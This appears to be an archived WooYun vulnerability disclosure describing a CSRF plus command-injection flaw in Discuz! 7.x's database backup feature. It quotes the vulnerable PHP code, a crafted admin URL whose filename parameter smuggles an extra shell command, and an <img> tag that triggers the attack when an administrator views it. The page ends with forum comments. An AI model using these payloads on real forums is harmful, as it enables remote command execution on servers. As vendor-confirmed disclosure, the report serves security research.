当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076458

漏洞标题:Discuz7.x csrf+系统命令调用(开关机,创建文件等等)

相关厂商:Discuz!

漏洞作者: menmen519

提交时间:2014-09-18 09:15

修复时间:2014-12-17 09:16

公开时间:2014-12-17 09:16

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-18: 细节已通知厂商并且等待厂商处理中
2014-09-19: 厂商已经确认,细节仅向厂商公开
2014-09-22: 细节向第三方安全合作伙伴开放
2014-11-13: 细节向核心白帽子及相关领域专家公开
2014-11-23: 细节向普通白帽子公开
2014-12-03: 细节向实习白帽子公开
2014-12-17: 细节向公众公开

简要描述:

Discuz! csrf+系统命令调用,一个超级简单比拖数据库还来得快的get类型csrf,一张图片搞定管理员,只要管理员敢看一下,那么他就会自动执行系统命令,创建文件,删除文件,ping 等等命令,如果有权限,也可以开关机。求精华,这个应该比那个csrf脱裤危害比较巨大吧!!!!!

详细说明:

直接分析代码:
admin\db.inc.php:(lines:270-287):

$tablesstr = '';
foreach($tables as $table) {
$tablesstr .= '"'.$table.'" ';
}

require './config.inc.php';
list($dbhost, $dbport) = explode(':', $dbhost);
$query = $db->query("SHOW VARIABLES LIKE 'basedir'");
list(, $mysql_base) = $db->fetch_array($query, MYSQL_NUM);
$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
@unlink($dumpfile);

$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);
echo $dumpfile;
exit;


这里我们打印了执行shell_exec 后的 代码 不影响全局,在7.x里面有一个bug,就是你在备份数据库的时候,发送的第一个post请求是有csrf防御,但是第二个获取相关信息的get请求,这面包括了一系列操作,没有做csrf防御,我们直接看这个链接:
url:
http://localhost/Discuz_7.2_SC_UTF8https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/admincp.php?action=db&operation=export&type=custom&saveto=server&filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx&method=&sizelimit=2048&volume=1&tableid=111111111111&startfrom=0&extendins=0&sqlcharset=&sqlcompat=&exportsubmit=yes&usehex=&usezip=0&sid=&usezip=0
本身这个链接的逻辑走向是当method=multivol的一个逻辑,这里是二次转发默认发送的,我们把这里值为空,那么就到了我们上面的代码了,看到这个url后进一步测试所有相关的参数,是否影响页面的走向逻辑,实际结果证明,所有参数可控
我们看着一行代码:

$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
@unlink($dumpfile);

$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);


上面的文件操作,这里如果找不到,也已经被@规避了
那么我们看这个很长的sql备份命令最后面的$dumpfile,这个参数完全可控,这里我就不分析代码了,拿现象说话:
如果url中同时存在<> 那么它就会被阻断,但是我们实际中只用到一个> 或者 >>就够了
她还过滤了点号和反斜杠,正斜杠,当然了这里我就证明了,我们不用这些符号就是了,实际操作
中,既然能执行系统命令,各种二进制绕过,写shell 这里我就不演示了
举例子说明,如果我们的filename=ssss
那么这个命令 就会变成这样:

d:/wamp/bin/mysql/mysql5.5.20bin/mysqldump --force --quick --skip-opt --create-options --add-drop-table --host="localhost" --user="root" --password="" "discuz17" "cdb_activities" "xxxxxx\'" > D:\\wamp\\www\\Discuz_7.2_SC_UTF8\\upload/./forumdata/backup_789c01/ssss


那么我们通过&再连接一个命令就OK了,我们把filename改为:
filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx
然后再发一次包:

d:/wamp/bin/mysql/mysql5.5.20bin/mysqldump --force --quick --skip-opt --create-options --add-drop-table --host="localhost" --user="root" --password="" "discuz17" "cdb_activities" "xxxxxx\'" > D:\\wamp\\www\\Discuz_7.2_SC_UTF8\\upload/./forumdata/backup_789c01/ssss & echo 111 > shell & xxxxx.sql


看见没有 这个命令完全构造完毕,肯定是可以执行的,我们去这个目录看看,有没有一个文件叫shell内容为111的:

t.png


看到没有 完美执行了,最可怕的事情就是,这个链接是一个纯get的csrf,一个图片就搞定
<img src=http://localhost/Discuz_7.2_SC_UTF8https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/admincp.php?action=db&operation=export&type=custom&saveto=server&filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx&method=&sizelimit=2048&volume=1&tableid=111111111111&startfrom=0&extendins=0&sqlcharset=&sqlcompat=&exportsubmit=yes&usehex=&usezip=0&sid=&usezip=0>
然后发给管理员这张图片,呵呵 你说能不给闪电吗!!!!!

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-19 09:27

厂商回复:

感谢您提出的问题。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-18 09:19 | 假马 ( 普通白帽子 | Rank:142 漏洞数:18 | 我存在,你婶婶的脑海里.)

    尸吊

  2. 2014-09-18 09:20 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    恩 恩 恩 啊 啊 啊 come on

  3. 2014-09-18 09:25 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    真他妈无语 这么简单一个csrf 不给精华 之前那个csrf脱裤的 那么多条件给精华,一帮人什么脑子,非要哥发怒

  4. 2014-09-18 09:40 | 默秒全 ( 路人 | Rank:2 漏洞数:3 | a....)

    目测因为7.x太老了...

  5. 2014-09-18 09:47 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    哥别怒阿,因为管理员都会审洞疲劳,第一个csrf给精华是因为看到了新意,精华一般都是给一个新思路的提出者。或者和管理有一腿走菊花,有些管理确实是太忙(大爷)了,发了好几个站内信都不回,问题都不予解答,所以也别怪某些白帽子去zone吐槽,因为qq不回、站短不回,貌似只有zone一个地方可以提出问题或者质疑公正了?

  6. 2014-09-18 09:49 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @pandas 哎 !!! 我是真服了 真的要按照你说的 给出一个前台完美shell..........

  7. 2014-09-18 12:43 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    把csrf玩出了危害。膜拜

  8. 2014-09-18 13:12 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    这个图片有限制吗?

  9. 2014-09-18 13:43 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @子非海绵宝宝 没有限制

  10. 2014-09-19 16:31 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    应该是一个新平台,只是调用一个外部的图片

  11. 2014-09-20 00:04 | Matt 认证白帽子 ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    还是备份那边那个 Msyqldump么 windows上不能用的把 好像

  12. 2014-09-23 11:40 | 铁汉 ( 路人 | Rank:12 漏洞数:6 | 向各种大神学习之)

    你妹夫

  13. 2014-09-24 10:55 | piaoye ( 普通白帽子 | Rank:343 漏洞数:53 | ww)

    @Matt 对的 不过鸡肋的是有水印的图是如何dump的。。。

  14. 2014-09-25 22:06 | zzzzy ( 路人 | Rank:10 漏洞数:3 | 熟练各种语言名称的拼写)

    逆天了。。。